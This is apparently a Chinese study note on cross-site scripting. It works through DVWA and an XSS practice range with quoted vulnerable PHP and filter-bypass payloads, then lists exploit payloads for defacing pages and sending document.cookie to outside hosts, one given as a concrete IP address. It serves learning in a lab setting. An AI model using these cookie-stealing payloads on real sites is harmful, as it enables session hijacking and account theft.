DVWA
一、xss注入的场景是一些论坛的留言板之类的,攻击者利用网页的漏洞写入程序脚本,当用户浏览的时候就会触发这个脚本。
reflected的xss只能是一次性的,而stored的xss是永久的,写入到留言板之后,就传入到服务器当中,当再有用户浏览时就会触发。
xss跟sql是非常想象的,最大的区别在于xss是前段,而sql是后端。且,xss很难获得webshell。
二、DVWA(low):
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
没有任何过滤,直接写< script>alert(//xss)< /script>
成功
二、medium:查看源代码发现存在替换,但没有过滤大小写,所以
vulnerabilities/xss_r/source/medium.php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?
< Script>alert(/xss/)< /Script>
三、stored(low)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
查看源码发现没有任何防护,但是name长度有限制,可以使用hacker修改
修改maxlength为100
然后直接XSS语句即可
二、stroed(medium)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
发现过滤了script,但是没有过滤大小写。
XSS靶场(1~5)
一、
此题没有任何防护,且对传参方式没有任何限制,可以直接在url后添加< script>alert(1)< /script>,通关。
二、
此题正常输入,发现不行,查看源码。
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
对于常用的符号进行了过滤,但是对于vaule没有进行任何防护,首先想到闭合。
"><script>alert(1)</script>
通关
三、
查看源码
<h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='"><script>alert(1)</script>'>
本题对value也进行了过滤,采用onclick构造闭合
' οnclick='alert(1)
注意最后要点击一下输入框
四、
与上面一题相似,利用onclick函数构造闭合。
"οnclick="alert(1)
五、
<form action=level5.php method=GET>
查看源代码,由此可以可以构造超链接
<a href=javascript:alert(‘xss’) > xss < /a >
本题得解
防护XSS
使用函数htmlspecialchars防御XSS
htmlspecialchars()函数可以把&.“”、',<,>这些经常在XSS语句中出现的符号转换为HTML实体。
&(和)转成& amp;
(双引号)转成"
<(小于)转成& lt; >(大于)转成 & gt;
绕过
对于htmlspecialchars()函数,可以采用二次编码
poc及exp
poc
最简单常用的poc">
重定向到指定的url地址 οnmοuseοver=alert(document.domain) 闭合属性,构造on事件 οnmοusemοve=alert(1)利用input的autofocus属性,无需用户交互即可触发xss.
htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
如输入在herf或src里面:javascript:alert(1)
js输出,输入的数据由js变量接收,通过闭合即可
exp
< script>document.body.innerHTML=“< div style=visibility:visible;>< h1>THIS
WEBSITE IS UNDER ATTACK< /h1>< /div>”;< /script>
篡改页面,将页面篡改为< h1></ h1>里面显示的文字
< script>new Image().src=“http://yourhost/getcookie.php?
cookie=”+document.cookie;
将别人登录的cookie信息捕获到自己的服务器上
自己的服务器上编写一个接收cookie信息的php脚本getcookie.php
此脚本将接收到的cookie信息写入到自动创建的txt文本cookie.txt里面
< script>document.location=‘http://47.99.184.173/getcookie.php?cookie=’+document.cookie;
与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp
自己服务器上a,js的源码为:
var img = new Image();
img.src = “http://1.1.1.1/cookies.php?cookie=”+document.cookie;
获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。
这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后再漏洞点利用